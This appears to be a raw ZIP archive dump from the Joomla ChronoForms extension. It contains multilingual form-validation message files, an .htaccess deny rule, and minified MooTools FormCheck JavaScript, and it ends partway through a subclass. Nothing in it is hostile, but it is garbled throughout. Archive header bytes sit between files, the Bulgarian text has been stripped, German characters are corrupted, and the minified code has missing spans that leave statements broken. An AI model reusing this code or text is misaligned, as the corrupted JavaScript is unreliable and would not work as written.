      نمونه: yourn...@domain.com", image : "لطفا فقط تصویر انتخاب کنید.", phone: "لطفا یک شماره تلفن معتبر وارد کنید.", url: "لطفا یک URL صحیح وارد کنید:
      نمونه: http://www.domain.com", confirm: "این بخش با %0 متفاوت است.", differs: "این بخش باید با %0 متفاوت باشد.", length_str: "طول مقدار وارد شده صحیح نیست و باید بین %0 و %1 کاراکتر باشد.", length_fix: "طول مقدار وارد شده صحیح نیست و باید دقیقا برابر %0 کاراکتر باشد.", lengthmax: "طول مقدار وارد شده صحیح نیست و باید حداکثر %0 کاراکتر باشد.", lengthmin: "طول مقدار وارد شده صحیح نیست و باید حداقل %0 کاراکتر باشد.", words_min : "این بخش باید حاوی حداقل %0 کلمه باشد. %1 کلمه وارد شده.", words_range : "این بخش باید حاوی %0-%1 کلمه باشد. %2 کلمه وارد شده.", words_max : "این بخش باید حاوی حداکثر %0 کلمه باشد. %1 کلمه وارد شده.", checkbox: "لطفا این مورد را انتخاب کنید.", radios: "لطفا این گزینه را انتخاب کنید", select: "لطفا مقداری را انتخاب کنید" }PKGy>\ɾN  'com_chronoforms/js/formcheck/lang/cn.jsnuW+AformcheckLanguage = { required: "请输入此此项", alpha: "只能输入英文字母", alphanum: "只能输入英文字母和数字", nodigit: "输入内容不能包含数字", digit: "请输入数字", digitmin: "必须大于 %0", digitltd: "数值要在 %0 和 %1 之间", number: "请输入正确的数字", email: "请输入正确的电子邮件地址
      如: xxx@domain.com", image : '只能输入图片格式', phone: "请输入正确的手机号", url: "请输入正确的链接地址:
      如: http://www.domain.com", confirm: "输入内容与 %0 不一致", differs: "输入内容不能与 %0 一致", length_str: "长度必须要在 %0 和 %1 之间", length_fix: "长度有误,长度必须要等于 %0 字", lengthmax: "长度有误,长度不能超过 %0 ", lengthmin: "长度有误,长度不能小于 %0 ", words_min : "输入内容至少要包含 %0 字,当前只有: %1 字", words_range : "输入内容要有 %0-%1 字,当前只有: %2 字", words_max : "输入内容最多应包含 %0 字,当前只有: %1 字", checkbox: "请选择复选框", checkboxes_group : '至少要选择 %0 项', radios: "请选择单选框", select: "请选择一项", select_multiple : "至少要选择一项" } PKGy>\i0+jj'com_chronoforms/js/formcheck/lang/lv.jsnuW+AformcheckLanguage = { required: "Šis lauks ir obligāts.", alpha: "Šajā laukā drīkst būt tikai burti.", alphanum: "Šajā laukā drīkst būt tikai burti vai skaitļi.", nodigit: "Nedrīkst būt cipari!", digit: "Lūdzu, ievadiet veselu skaitli!", digitmin: "Skaitlim ir jābūt lielākam par %0", digitltd: "Vērtībai ir jābūt starp %0 un %1", number: "Lūdzu, ievadiet skaitli!", email: "Lūdzu, ievadiet pareizu e-pasta adresi:
      Piemēram, vards.uzvards@domains.lv", image : 'Šis lauks drīkst saturēt tikai bilžu failu tipus!', phone: "Lūdzu, ievadiet pareizu telefona numuru!", url: "Lūdzu, ievadiet pareizu Interneta adresi:
      Piemēram, http://www.domains.lv", confirm: "Šis lauks atšķiras no %0", differs: "Šai vērtībai ir jāatšķiras no %0", length_str: "Garums ir nepareizs, tam ir jābūt starp %0 un %1 simboliem", length_fix: "Garums ir nepareizs, tam ir jābūt tieši %0 simboliem", lengthmax: "Garums ir nepareizs, tā maksimums ir %0 simboli", lengthmin: "Garums ir nepareizs, tam ir jābūt vismaz %0 simboliem", words_min : "Laukam jāsatur vismaz %0 vārdi, šobrīd: %1 vārds(i)", words_range : "Laukam jāsatur %0-%1 vārdi, šobrīd: %2 vārds(i)", words_max : "Lauks drīkst saturēt maksimums %0 vārdus, šobrīd: %1 vārds(i)", checkbox: "Lūdzu, izvēlieties vienu variantu!", checkboxes_group : 'Lūdzu, izvēlieties vismaz %0 variantu(s)!', radios: "Lūdzu, izvēlieties vienu variantu!", select: "Lūdzu, izvēlieties vērtību!", select_multiple : "Lūdzu, izvēlieties vismaz vienu vērtību!" }PKGy>\!\TT'com_chronoforms/js/formcheck/lang/no.jsnuW+AformcheckLanguage = { required: "Feltet er obligatorisk.", alpha: "Feltet aksepterer kun bokstaver", alphanum: "Feltet aksepterer kun bokstaver og tall", nodigit: "Feltet aksepterer ikke tall", digit: "Feltet aksepterer kun heltall", digitmin: "Verdien må være minst %0", digitltd: "Verdien må være mellom %0 og %1", number: "Feltet aksepterer kun gyldige tall.", email: "Vennligst fyll ut en gyldig epostadr:
      F.eks. ola@nordmann.no", image : "Feltet aksepterer kun bildetyper", phone: "Vennligst oppgi et gyldig tlfnr.", url: "Vennligst oppgi en gyldig URL:
      F.eks. http://www.domene.no", confirm: "Verdien er forskjellig fra %0", differs: "Verdien må være forskjellig fra %0", length_str: "Ugyldig lengde, må være mellom %0 og %1", length_fix: "Ugyldig lengde, må være %0 tegn", lengthmax: "Ugyldig lengde, må være maks %0 tegn", lengthmin: "Ugyldig lengde, må være minst %0 tegn", words_min : "Feltet må ha minst %0 ord, har nå %1 ord", words_range : "Feltet må ha %0-%1 ord, har nå %2 ord", words_max : "Feltet må ha maks %0 ord, har nå %1 ord", checkbox: "Vennligst kryss av boksen", checkboxes_group : 'Vennligst velg minst %0 boks(er)', radios: "Vennligst marker ditt valg", select: "Vennligst velg et av valgene", select_multiple : "Vennligst velg minst ett av valgene" }PKGy>\9{aa'com_chronoforms/js/formcheck/lang/jp.jsnuW+AformcheckLanguage = { required: "必須項目です", alpha: "アルファベットを入力してください。", alphanum: "アルファベットと数字を入力してください。", nodigit: "桁の数字は使用できません。", digit: "有効な数字を入力してください。", digitmin: "数字は少なくとも%0で入力してください。", digitltd: "数字は%0と%1の間で入力してください。", number: "有効な数字を入力してください。", email: "有効なE-mailアドレスを入力してください。", phone: "有効な電話番号を入力してください。", url: "有効なURLを入力してください
      例 http://www.domain.com", confirm: "これは%0と異なります", differs: "これは%0と異なるものを入力してください。", length_str: "長さが有効ではありません。%0と%1の間で入力してください。", length_fix: "長さが有効ではありません。 %0文字を入力してください。", lengthmax: "長さが有効ではありません。最大%0で入力してください。", lengthmin: "長さが有効ではありません。最小%0で入力してください。", checkbox: "ボックスを確認してください。", radios: "項目を選択してください。", select: "項目を選択してください。" }PKGy>\汞'com_chronoforms/js/formcheck/lang/ro.jsnuW+AformcheckLanguage = { required: "Acest câmp este obligatoriu.", alpha: "Acest câmp acceptă doar caractere alfabetice.", alphanum: "Acest câmp acceptă doar caractere alfanumerice.", nodigit: "Nu sunt acceptate cifrele.", digit: "Vă rugăm introduceţi un număr intreg.", digitmin: "Numărul trebuie să fie cel puţin %0", digitltd: "Valoarea trebuie să fie între %0 si %1", number: "Vă rugăm introduceţi un număr valid.", email: "Vă rugăm introduceţi un email valid:
      Ex: numeledvs@domeniu.ro", image : 'Acest câmp acceptă doar imagini', phone: "Vă rugăm introduceţi un număr valid de telefon.", url: "Vă rugăm introduceţi o adresă web validă:
      Ex: http://www.domeniu.ro", confirm: "Acest câmp este diferit de %0", differs: "Această valoare trebuie să fie diferită de %0", length_str: "Lungimea este incorectă, trebuie să fie între %0 si %1", length_fix: "Lungimea este incorectă, trebuie să fie de exact %0 caractere", lengthmax: "Lungimea este incorectă, trebuie să fie cel mult %0", lengthmin: "Lungimea este incorectă, trebuie să fie cel puţin %0", words_min : "Acest câmp trebuie să conţină cel puţin %0 cuvinte, momentan conţine: %1 cuvinte", words_range : "Acest câmp trebuie să conţină %0-%1 cuvinte, momentan conţine: %2 cuvinte", words_max : "Acest câmp trebuie să conţină cel mult %0 cuvinte, momentan conţine: %1 cuvinte", checkbox: "Vă rugăm bifaţi căsuţa", radios: "Vă rugăm selectaţi o opţiune", select: "Vă rugăm alegeţi o valoare", select_multiple : "Vă rugăm alegeţi cel puţin o valoare" };PKGy>\))'com_chronoforms/js/formcheck/lang/nl.jsnuW+AformcheckLanguage = { required: "Dit veld is verplicht.", alpha: "Dit veld accepteert alleen alphabetische karakters.", alphanum: "Dit veld accepteert alleen alphanumerieke karakters.", nodigit: "Cijfers zijn niet toegestaan.", digit: "Voer een geldig getal in.", digitmin: "Het nummer moet minsten %0 lang zijn.", digitltd: "De waarde moet tussen de %0 en %1 liggen.", number: "Voer een geldig nummer in.", email: "Voer een geldig emailadres in.", phone: "Voer een geldig telefoonnummer in.", url: "Voer een geldig url in.", confirm: "Dit veld verschilt van %0", differs: "Deze waarde moet anders zijn dan %0", length_str: "De lengte is onjuist, het moet tussen de %0 en %1 lang zijn", length_fix: "De lengte is onjuist, het moet precies %0 tekens lang zijn", lengthmax: "De lengte is onjuist, het moet maximaal %0 lang zijn", lengthmin: "De lengte is onjuist, het moet minstens %0 lang zijn", checkbox: "Vink het hokje aan", checkboxes_group : 'Gelieve minstens %0 hokjes aan te vinken', radios: "Maak een keuze", select: "Kies een waarde" }PKGy>\,com_chronoforms/js/formcheck/lang/index.htmlnuW+APKGy>\rEt'com_chronoforms/js/formcheck/lang/pt.jsnuW+AformcheckLanguage = { required: "Campo Obrigatório.", alpha: "Apenas caractéres alfabéticos são aceites.", alphanum: "Apenas caractéres Alfa-numericos aceites.", nodigit: "Digitos não são aceites.", digit: "Por favor insira um valor inteiro.", digitmin: "O valor tem de ser maior que %0", digitltd: "O valor tem de ser entre %0 e %1", number: "Introduza um numero valido.", email: "Introduza um email valido:
      p.e. n...@dominio.pt", phone: "Introduza um telefone valido.", url: "Introduza um URL valido:
      p.e. http://www.dominio.com", confirm: "Este campo é diferente de %0", differs: "Este campo tem de ser diferente de %0", length_str: "Tamanho incorrecto, tem de ser entre %0 e %1", length_fix: "Tamanho incorrecto, tem de ser exactamente %0 caractéres", lengthmax: "Tamanho incorrecto, tem de ser no máximo %0", lengthmin: "Tamanho incorrecto, tem de ser no mínimo %0", checkbox: "Confirme a opção", radios: "Seleccione uma opção", select: "Seleccione um valor" }PKGy>\"E'com_chronoforms/js/formcheck/lang/de.jsnuW+AformcheckLanguage = { required: "Dieses Feld ist obligatorisch.", alpha: "In diesem Feld sind nur Buchstaben zulässig.", alphanum: "In diesem Feld sind nur Zahlen zulässig.", nodigit: "Eingabe von Nummern nicht möglich.", digit: "Nur Eingabe von Zahlen möglich.", digitmin: "Die kleinstmögliche Zahl ist %0.", digitltd: "Der Wert muss zwischen %0 und %1 liegen", number: "Geben Sie bitte eine gültige Zahl ein.", email: "Geben Sie bitte eine gültige E-mail ein.", phone: "Geben Sie bitte eine gültige Telefonnummer ein.", url: "Geben Sie bitte eine gültige Internetadresse ein.", confirm: "Das Feld ist verschieden von %0.", differs: "Der Wert muss unterschiedlich zu %0 sein.", length_str: "Das Feld ist verschieden von %0.", length_fix: "Falsche L�nge, es m�ssen exakt %0 Buchstaben sein.", lengthmax: "Der Wert ist nicht korrekt, maximale Anzahl Charakter %0.", lengthmin: "Der Wert ist nicht korrekt, minimale Anzahl Charakter %0.", checkbox: "Bitte aktivieren.", checkboxes_group : 'Bitte kreuzen Sie mindestens %0 Feld(er) an', radios: "Bitte einen Wert auswählen.", select: "Bitte einen Wert auswählen." }PKGy>\\'com_chronoforms/js/formcheck/lang/da.jsnuW+AformcheckLanguage = { required: "Dette felt skal udfyldes.", alpha: "Dette felt accepterer kun alfabetiske tegn.", alphanum: "Dette felt accepterer kun alfanumeriske tegn.", nodigit: "Cifre ikke accepteret.", digit: "Skriv venligst et gyldigt heltal.", digitmin: "Tallet skal være mindst %0", digitltd: "Værdien skal være mellem %0 og %1", number: "Skriv venligst et gyldigt nummer.", email: "Skriv venligst en gyldig e-mail adresse:
      F.eks: ditnavn@gmail.com", image : 'Dette felt bør kun indeholde gyldige billedtyper.', phone: "Skriv venligst et gyldigt telefonnummer.", url: "Skriv venligst et gyldigt url:
      F.eks: http://www.google.com", confirm: "Dette felt er forskelligt fra %0", differs: "Denne værdi skal være anderledes end %0", length_str: "Længden er inkorrekt, den skal være mellem %0 og %1", length_fix: "Længden er inkorrekt, den skal være præcis %0 tegn.", lengthmax: "Længden er inkorrekt, den skal max være %0", lengthmin: "Længden er inkorrekt, den skal mindst være %0", words_min : "Dette felt skal mindst indeholde %0 ord, iøjeblikket: %1 ord", words_range : "Dette felt skal indeholde %0-%1 ord, iøjeblikket: %2 ord", words_max : "Dette felt må max indeholde %0 ord, iøjeblikket: %1 ord", checkbox: "Afkryds venligst denne boks.", checkboxes_group : 'Afkryds venligst mindst %0 boks(e)', radios: "Afkryds venligst en af mulighederne.", select: "Vælg venligst en af værdierne." }PKGy>\'com_chronoforms/js/formcheck/lang/bg.jsnuW+AformcheckLanguage = { required: " .", alpha: " .", alphanum: " .", nodigit: " .", digit: " .", digitmin: " - %0", digitltd: " %0 - %1", number: " .", email: " email:
      yourname@domain.com", phone: " .", url: " :
      http://www.domain.com", confirm: " %0", differs: " %0", length_str: " %0 %1 ", length_fix: " , %0 ", lengthmax: " , %0 ", lengthmin: " , %0 ", checkbox: " - ", radios: " ", select: " " }PKGy>\)+com_chronoforms/js/formcheck/lang/.htaccessnuW+A Order allow,deny Deny from all PKGy>\FU'com_chronoforms/js/formcheck/lang/es.jsnuW+AformcheckLanguage = { required: "Este campo es requerido.", alpha: "Este campo sólo acepta letras.", alphanum: "Este campo sólo acepta caracteres alfanuméricos.", nodigit: "No se aceptan dígitos.", digit: "Por favor, introduzca un entero válido.", digitmin: "El número debe ser por lo menos %0", digitltd: "El valor debe estar entre %0 y %1", number: "Por favor, introduzca un número válido.", email: "Por favor, introduzca un correo válido:
      Ej: sunom...@dominio.com", image: "Este campo debe contener una imágen válida", phone: "Por favor, introduzca un teléfono válido.", url: "Por favor, introduzca una URL válida:
      Ej: http://www.dominio.com", confirm: "Este campo difiere de %0", differs: "Este campo debe ser distinto de %0", length_str: "La longitud es incorrecta, debe estar entre %0 y %1", length_fix: "La longitud es incorrecta, debe ser de exactamente %0 caracteres", lengthmax: "La longitud es incorrecta, debe tener como máximo %0", lengthmin: "La longitud es incorrecta, debe contener como mínimo %0", words_min: "Este campo debe contener como mínimo %0 palabras, actualmente contiene %1", words_max: "Este campo debe contener como máximo %0 palabras, actualmente contiene %1", words_range: "Este campo debe contener entre %0 y %1 palabras, actualmente contiene %2", checkbox: "Por favor, marque una casilla", checkboxes_group : 'Favor marcar al menos %0 casilla(s)', radios: "Por favor, seleccione un valor", select: "Por favor, seleccione un valor" }PKGy>\e'com_chronoforms/js/formcheck/lang/sl.jsnuW+AformcheckLanguage = { required: "To polje ne sme biti prazno!", alpha: "Vpišete lahko samo črke.", alphanum: "Vpišete lahko samo črke in številke.", nodigit: "Številke niso dovoljene.", digit: "Prosimo vpišite samo celotna števila.", digitmin: "Število mora biti min %0", digitltd: "Vrednost mora biti med %0 in %1", number: "Prosimo vpišite število.", email: "Prosimo vpišite veljaven e-mail naslov:
      npr. vašeime@domena.com", image : 'To polje lahko vsebuje samo slike', phone: "Prosimo vpišite veljavno telefonsko številko.", url: "Prosimo vpišite veljaven URL:
      npr. http://www.vašadomena.com", confirm: "To polje se razlikuje od %0", differs: "Ta vrednost mora biti drugačna od %0", length_str: "Dolžina mora biti med %0 in %1", length_fix: "Dolžina mora biti točno %0 znakov", lengthmax: "Dolžina je lahko največ %0", lengthmin: "Dolžina mora biti najmanj %0", words_min : "To polje lahko vsebuje %0 besed, trenutno: %1 besed", words_range : "To polje mora vsebovati %0-%1 besed, trenutno: %2 besed", words_max : "To polje lahko vsebuje največ %0 besed, trenutno: %1 besed", checkbox: "Prosimo obkljukajte", checkboxes_group : 'Prosimo obkljukajte vsaj %0 stvar(i)', radios: "Prosimo izberite", select: "Prosimo izberite vrednost", select_multiple : "Prosimo izberite vsaj eno vrednost" }PKGy>\g}JJ-com_chronoforms/js/formcheck/formcheck-yui.jsnuW+Avar FormCheck=new Class({Implements:[Options,Events],options:{tipsClass:"fc-tbx",errorClass:"fc-error",fieldErrorClass:"fc-field-error",submit:true,submitAction:false,submitMethod:false,trimValue:false,validateDisabled:false,submitByAjax:false,ajaxResponseDiv:false,ajaxEvalScripts:false,onAjaxRequest:$empty,onAjaxComplete:$empty,onAjaxSuccess:$empty,onAjaxFailure:$empty,onSubmit:$empty,onValidateSuccess:$empty,onValidateFailure:$empty,display:{showErrors:0,titlesInsteadNames:0,errorsLocation:1,indicateErrors:1,indicateErrorsInit:0,keepFocusOnError:0,checkValueIfEmpty:1,addClassErrorToField:0,removeClassErrorOnTipClosure:0,fixPngForIe:1,replaceTipsEffect:1,flashTips:0,closeTipsButton:1,tipsPosition:"right",tipsOffsetX:-45,tipsOffsetY:0,listErrorsAtTop:false,scrollToFirst:true,fadeDuration:300},alerts:{required:"This field is required.",alpha:"This field accepts alphabetic characters only.",alphanum:"This field accepts alphanumeric characters only.",nodigit:"No digits are accepted.",digit:"Please enter a valid integer.",digitltd:"The value must be between %0 and %1",number:"Please enter a valid number.",email:"Please enter a valid email.",image:"This field should only contain image types",phone:"Please enter a valid phone.",phone_inter:"Please enter a valid international phone number.",url:"Please enter a valid url.",confirm:"This field is different from %0",differs:"This value must be different of %0",length_str:"The length is incorrect, it must be between %0 and %1",length_fix:"The length is incorrect, it must be exactly %0 characters",lengthmax:"The length is incorrect, it must be at max %0",lengthmin:"The length is incorrect, it must be at least %0",words_min:"This field must concain at least %0 words, currently: %1 words",words_range:"This field must contain %0-%1 words, currently: %2 words",words_max:"This field must contain at max %0 words, currently: %1 words",checkbox:"Please check the box",checkboxes_group:"Please check at least %0 box(es)",radios:"Please select a radio",select:"Please choose a value",select_multiple:"Please choose at least one value"},regexp:{required:/[^.*]/,alpha:/^[a-z ._-]+$/i,alphanum:/^[a-z0-9 ._-]+$/i,digit:/^[-+]?[0-9]+$/,nodigit:/^[^0-9]+$/,number:/^[-+]?\d*\.?\d+$/,email:/^([a-zA-Z0-9_\.\-\+%])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/,image:/.(jpg|jpeg|png|gif|bmp)$/i,phone:/^\+{0,1}[0-9 \(\)\.\-]+$/,phone_inter:/^\+{0,1}[0-9 \(\)\.\-]+$/,url:/^(http|https|ftp)\:\/\/[a-z0-9\-\.]+\.[a-z]{2,3}(:[a-z0-9]*)?\/?([a-z0-9\-\._\?\,\'\/\\\+&%\$#\=~])*$/i}},initialize:function(b,a){if(this.form=document.id(b)){this.form.isValid=true;this.regex=["length"];this.groups={};if(typeof(formcheckLanguage)!="undefined"){this.options.alerts=$merge(this.options.alerts,formcheckLanguage)}this.setOptions(a);this.form.setProperty("action",this.options.submitAction||this.form.getProperty("action")||"post");this.form.setProperty("method",this.options.submitMethod||this.form.getProperty("method")||"");this.validations=[];this.alreadyIndicated=false;this.firstError=false;$H(this.options.regexp).each(function(d,c){this.regex.push(c)},this);this.form.getElements("*[class*=validate]").each(function(c){this.register(c)},this);this.form.addEvents({submit:this.onSubmit.bind(this)});if(this.options.display.fixPngForIe){this.fixIeStuffs()}document.addEvent("mousewheel",function(){this.isScrolling=false}.bind(this));if(this.options.display.indicateErrorsInit){this.validations.each(function(c){if(!this.manageError(c,"submit")){this.form.isValid=false}},this)}}},register:function(el,position){el.validation=[];el.getProperty("class").split(" ").each(function(classX){if(classX.match(/^validate(\[.+\])$/)){var valid=true;var validators=eval(classX.match(/^validate(\[.+\])$/)[1]);for(var i=0;i=d[0].toFloat());e=this.options.alerts.digitmin.replace("%0",d[0])}else{f=(c.value.toFloat()>=d[0].toFloat()&&c.value.toFloat()<=d[1].toFloat());e=this.options.alerts.digitltd.replace("%0",d[0]).replace("%1",d[1])}if(a==false||f==false){c.errors.push(e);return false}}else{if(this.options.regexp[b].test(c.value)==false){c.errors.push(e);return false}}return true},validateConfirm:function(b,c){var a=c[0];if(b.value!=this.form[a].value){var d=(this.options.display.titlesInsteadNames)?this.options.alerts.confirm.replace("%0",this.form[a].getProperty("title")):this.options.alerts.confirm.replace("%0",a);b.errors.push(d);return false}return true},validateDiffers:function(a,c){var b=c[0];if(a.value==this.form[b].value){var d=(this.options.display.titlesInsteadNames)?this.options.alerts.differs.replace("%0",this.form[b].getProperty("title")):this.options.alerts.differs.replace("%0",b);a.errors.push(d);return false}return true},validateWords:function(c,d){var b=d[0];var a=d[1];var e=c.value.replace(/[ \t\v\n\r\f\p]/m," ").replace(/[,.;:]/g," ").clean().split(" ");if(a==-1){if(e.length0){if(e.lengtha){c.errors.push(this.options.alerts.words_range.replace("%0",b).replace("%1",a).replace("%2",e.length));return false}}else{if(e.length>a){c.errors.push(this.options.alerts.words_max.replace("%0",a).replace("%1",e.length));return false}}}return true},isFormValid:function(){this.form.isValid=true;this.validations.each(function(b){var a=this.manageError(b,"testonly");if(!a){this.form.isValid=false}},this);return this.form.isValid},isChildType:function(el,validators){var validator;if($defined(el.type)&&el.type=="radio"){return true}else{if(validator=validators.join().match(/group(\[.*\])/)){var group=eval(validator[1]);this.groups[group[0]]=this.groups[group[0]]||[];this.groups[group[0]][0]=this.groups[group[0]][0]||[];this.groups[group[0]][1]=group[1]||this.groups[group[0]][1]||1;this.groups[group[0]][0].push(el);el.groupID=group[0];return true}}return false},validateGroup:function(d){d.errors=[];if(d.type=="radio"){var a=this.form[d.getProperty("name")];d.group=a;var c=false;for(var b=0;b=this.groups[d.groupID][1]){return true}else{(this.groups[d.groupID][0].length>1)?d.errors.push(this.options.alerts.checkboxes_group.replace("%0",this.groups[d.groupID][1])):d.errors.push(this.options.alerts.checkbox);return false}}else{return false}}},listErrorsAtTop:function(a){if(!this.form.element){this.form.element=new Element("div",{id:"errorlist","class":this.options.errorClass}).injectTop(this.form)}if($type(a)=="collection"){new Element("p").set("html",""+a[0].name+" : "+a[0].errors[0]).injectInside(this.form.element)}else{if((a.validation.contains("required")&&a.errors.length>0)||(a.errors.length>0&&a.value&&a.validation.contains("required")==false)){a.errors.each(function(b){new Element("p").set("html",""+a.name+" : "+b).injectInside(this.form.element)},this)}}window.fireEvent("resize")},addError:function(c){var f=c.target?document.id(c.target).getCoordinates():c.getCoordinates();if(!c.element&&this.options.display.indicateErrors!=0){if(this.options.display.errorsLocation==1){var e=(this.options.display.tipsPosition=="left")?f.left:f.right;var b={opacity:0,position:"absolute","float":"left",left:e+this.options.display.tipsOffsetX};c.element=new Element("div",{"class":this.options.tipsClass,styles:b}).injectInside(document.body);this.addPositionEvent(c)}else{if(this.options.display.errorsLocation==2){c.element=new Element("div",{"class":this.options.errorClass,styles:{opacity:0}}).injectBefore(c)}else{if(this.options.display.errorsLocation==3){c.element=new Element("div",{"class":this.options.errorClass,styles:{opacity:0}});if($type(c.group)=="object"||$type(c.group)=="collection"){c.element.injectAfter(c.group[c.group.length-1])}else{c.element.injectAfter(c)}}}}}if(c.element&&c.element!=true){c.element.empty();if(this.options.display.errorsLocation==1){var d=[];c.errors.each(function(g){d.push(new Element("p").set("html",g))});var a=this.makeTips(d).injectInside(c.element);if(this.options.display.closeTipsButton){a.getElements("a.close").addEvent("mouseup",function(){this.removeError(c,"tip")}.bind(this))}c.element.setStyle("top",f.top-a.getCoordinates().height+this.options.display.tipsOffsetY)}else{c.errors.each(function(g){new Element("p").set("html",g).injectInside(c.element)})}if(!this.options.display.fadeDuration||Browser.Engine.trident&&Browser.Engine.version==5&&this.options.display.errorsLocation<2){c.element.setStyle("opacity",1)}else{c.fx=new Fx.Tween(c.element,{duration:this.options.display.fadeDuration,ignore:true,onStart:function(){this.fxRunning=true}.bind(this),onComplete:function(){this.fxRunning=false;if(c.element&&c.element.getStyle("opacity").toInt()==0){c.element.destroy();c.element=false}}.bind(this)});if(c.element.getStyle("opacity").toInt()!=1){c.fx.start("opacity",1)}}}if(this.options.display.addClassErrorToField&&!c.isChild){c.addClass(this.options.fieldErrorClass);c.element=c.element||true}},addPositionEvent:function(a){if(this.options.display.replaceTipsEffect){a.event=function(){var b=a.target?document.id(a.target).getCoordinates():a.getCoordinates();new Fx.Morph(a.element,{duration:this.options.display.fadeDuration}).start({left:[a.element.getStyle("left"),b.right+this.options.display.tipsOffsetX],top:[a.element.getStyle("top"),b.top-a.element.getCoordinates().height+this.options.display.tipsOffsetY]})}.bind(this)}else{a.event=function(){var b=a.target?document.id(a.target).getCoordinates():a.getCoordinates();a.element.setStyles({left:b.right+this.options.display.tipsOffsetX,top:b.top-a.element.getCoordinates().height+this.options.display.tipsOffsetY})}.bind(this)}window.addEvent("resize",a.event)},removeError:function(a,b){if((this.options.display.addClassErrorToField&&!a.isChild&&this.options.display.removeClassErrorOnTipClosure)||(this.options.display.addClassErrorToField&&!a.isChild&&!this.options.display.removeClassErrorOnTipClosure&&b!="tip")){a.removeClass(this.options.fieldErrorClass)}if(!a.element){return}this.alreadyIndicated=false;a.errors=[];a.isOK=true;window.removeEvent("resize",a.event);if(this.options.display.errorsLocation>=2&&a.element){new Fx.Tween(a.element,{duration:this.options.display.fadeDuration}).start("height",0)}if(!this.options.display.fadeDuration||Browser.Engine.trident&&Browser.Engine.version==5&&this.options.display.errorsLocation==1&&a.element){this.fxRunning=true;a.element.destroy();a.element=false;(function(){this.fxRunning=false}.bind(this)).delay(200)}else{if(a.element&&a.element!=true){a.fx.start("opacity",0)}}},focusOnError:function(b){if(this.options.display.scrollToFirst&&!this.alreadyFocused&&!this.isScrolling){var a;if(!this.options.display.indicateErrors||!this.options.display.errorsLocation){a=b.getCoordinates().top-30}else{switch(this.options.display.errorsLocation){case 1:a=b.element.getCoordinates().top;break;case 2:a=b.element.getCoordinates().top-30;break;case 3:a=b.getCoordinates().top-30;break}this.isScrolling=true}if(window.getScroll().y!=a){new Fx.Scroll(window,{onComplete:function(){this.isScrolling=false;if(b.getProperty("type")!="hidden"){b.focus()}}.bind(this)}).start(0,a)}else{this.isScrolling=false;b.focus()}this.alreadyFocused=true}},fixIeStuffs:function(){if(Browser.Engine.trident4){var f=new RegExp("url\\(([.a-zA-Z0-9_/:-]+.png)\\)");var h=new RegExp("(.+)formcheck.css");for(var c=0;c\__/com_chronoforms/js/formcheck/formcheck-jpane.jsnuW+Avar FormCheckJPane = new Class({ Extends: FormCheck, Implements: Options, /* Function: addError Private method Add error message */ addError : function(obj) { //determine position var coord = obj.target ? document.id(obj.target).getCoordinates() : obj.getCoordinates(); if(!obj.element && this.options.display.indicateErrors != 0) { if (this.options.display.errorsLocation == 1) { var pos = (this.options.display.tipsPosition == 'left') ? coord.left : coord.right; var options = { 'opacity' : 0, 'position' : 'absolute', 'float' : 'left', 'left' : pos + this.options.display.tipsOffsetX }; obj.element = new Element('div', {'class' : this.options.tipsClass, 'styles' : options}).injectInside(document.body); this.addPositionEvent(obj); } else if (this.options.display.errorsLocation == 2){ obj.element = new Element('div', {'class' : this.options.errorClass, 'styles' : {'opacity' : 0}}).injectBefore(obj); } else if (this.options.display.errorsLocation == 3){ obj.element = new Element('div', {'class' : this.options.errorClass, 'styles' : {'opacity' : 0}}); //hack for position if($chk(document.id('error-message-'+obj.get('name').replace(/\[\]/, '')))){ obj.element.inject(document.id('error-message-'+obj.get('name').replace(/\[\]/, ''))); }else{ if ($type(obj.group) == 'object' || $type(obj.group) == 'collection') obj.element.injectAfter(obj.group[obj.group.length-1]); else obj.element.injectAfter(obj); } //end hack } } if (obj.element && obj.element != true) { obj.element.empty(); //hack for title if($chk(obj.get('title'))){ obj.errors = [obj.get('title')]; } //end hack if (this.options.display.errorsLocation == 1) { var errors = []; obj.errors.each(function(error) { errors.push(new Element('p').set('html', error)); }); var tips = this.makeTips(errors).injectInside(obj.element); if(this.options.display.closeTipsButton) { tips.getElements('a.close').addEvent('mouseup', function(){ this.removeError(obj, 'tip'); }.bind(this)); } obj.element.setStyle('top', coord.top - tips.getCoordinates().height + this.options.display.tipsOffsetY); } else { obj.errors.each(function(error) { new Element('p').set('html',error).injectInside(obj.element); }); } if (!this.options.display.fadeDuration || Browser.Engine.trident && Browser.Engine.version == 5 && this.options.display.errorsLocation < 2) { obj.element.setStyle('opacity', 1); } else { obj.fx = new Fx.Tween(obj.element, { 'duration' : this.options.display.fadeDuration, 'ignore' : true, 'onStart' : function(){ this.fxRunning = true; }.bind(this), 'onComplete' : function() { this.fxRunning = false; if (obj.element && obj.element.getStyle('opacity').toInt() == 0) { obj.element.destroy(); obj.element = false; } }.bind(this) }); if(obj.element.getStyle('opacity').toInt() != 1) obj.fx.start('opacity', 1); } } if (this.options.display.addClassErrorToField && !obj.isChild){ obj.addClass(this.options.fieldErrorClass); obj.element = obj.element || true; } }, /* Function: onSubmit Private method Perform check on submit action */ onSubmit: function(event) { this.reinitialize(); this.fireEvent('onSubmit'); //start hack to find if there are invalid fields under panels this.fixTabs(); this.fixSliders(); //end hack this.validations.each(function(el) { var validation = this.manageError(el,'submit'); if(!validation) this.form.isValid = false; }, this); if (this.form.isValid) { this.fireEvent('validateSuccess'); //moved above to allow optional settings to this.form.submit and submitByAjax to be triggered by this option return (this.options.submitByAjax)? this.submitByAjax():this.options.submit; //if this.options.submit is false it can still rely on validateSuccess event } else { if (this.elementToRemove && this.elementToRemove != this.firstError && this.options.display.indicateErrors == 1) { this.removeError(this.elementToRemove); } this.focusOnError(this.firstError); this.fireEvent('validateFailure'); return false; } }, fixTabs: function(){ var found = 0; var PanelIndex = 0; this.validations.each(function(el) { if(found != 1){ var validation = this.manageError(el,'testonly'); if(!validation && (el.validation.contains('required') == false) && el.value.trim() == ''){ //do nothing }else{ if(!validation){ //found invalid field, switch to its panel var parentPanel = el.getParents('dd'); if(parentPanel.length > 0){ //check if this field is inside a tabs section if(parentPanel[0].getParent('div').getParent('div').getFirst('dl').hasClass('tabs')){ //show the parent Panel body var selectedPanel = 0; var PanelIndex = 0; parentPanel[0].getParent('div').getChildren('dd').each(function(tabBody){ if(tabBody == parentPanel[0]){ tabBody.setStyle('display', 'block'); selectedPanel = PanelIndex; }else{ tabBody.setStyle('display', 'none'); } PanelIndex = PanelIndex + 1; }); //select the correct tab var tabCounter = 0; parentPanel[0].getParent('div').getParent('div').getFirst('dl').getChildren('dt').each(function(tab){ 